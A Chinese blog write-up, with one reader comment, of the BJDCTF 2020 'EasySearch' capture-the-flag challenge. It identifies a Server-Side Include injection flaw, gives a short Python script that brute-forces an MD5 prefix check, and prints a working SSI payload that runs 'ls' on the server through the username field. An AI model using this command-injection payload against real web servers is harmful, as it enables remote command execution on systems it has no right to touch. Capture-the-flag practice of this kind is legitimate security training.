[BJDCTF 2020]EasySearch

挺简单的一道题,不过涉及到了以前没遇到过的一个漏洞,就简单记录一下吧。
打开页面,常规流程走一遍,发现源码

流程一目了然,就是有个.shtml不知道是什么,但是这里涉及文件操作,按照CTF的套路来,这里估计有点东西,网上搜一下,果然出来了一个SSI漏洞

SSI漏洞:https://blog.csdn.net/qq_40657585/article/details/84260844

中间有个判断,md5截断爆破绕过即可,然后在username的字段传入SSI的payload

自己写的爆破脚本一层循环套一层,看起来笨笨的,就贴上其他大佬的脚本吧

import hashlib
def md5(s):
return hashlib.md5(s.encode('utf-8')).hexdigest()
for i in range(1, 10000000):
if md5(str(i)).startswith('6d0bc1'):
print(i)
break



最终payload:username=<!--#exec cmd="ls ../"-->&password=2020666

最后访问Response包里这个路径即可得到flag

后记:有个地方不明白,本来以为最后要进行文件名爆破之类的,但是在Response包里直接返回了文件名,不知道是什么原理,题目特殊吗.........望知道的师傅们指正

此条目发表在SSI漏洞, 刷题记录分类目录。将固定链接加入收藏夹。

[BJDCTF 2020]EasySearch》有2条回应

  1. o0o0o说:

    个人想法:
    1. 我觉得md5这么纯数字爆破经常爆不出来,我觉得带一些字母然后一层一层循环挺有用
    2. 我去buu试了一下,前往之后得到的路径,看到了flag_990c66bf85a09c664f0b6741840499b2,这个只是flag的文件名,长得像flag
    3. 真·flag要cat flag_990c66bf85a09c664f0b6741840499b2才能看到

发表评论

电子邮件地址不会被公开。 必填项已用*标注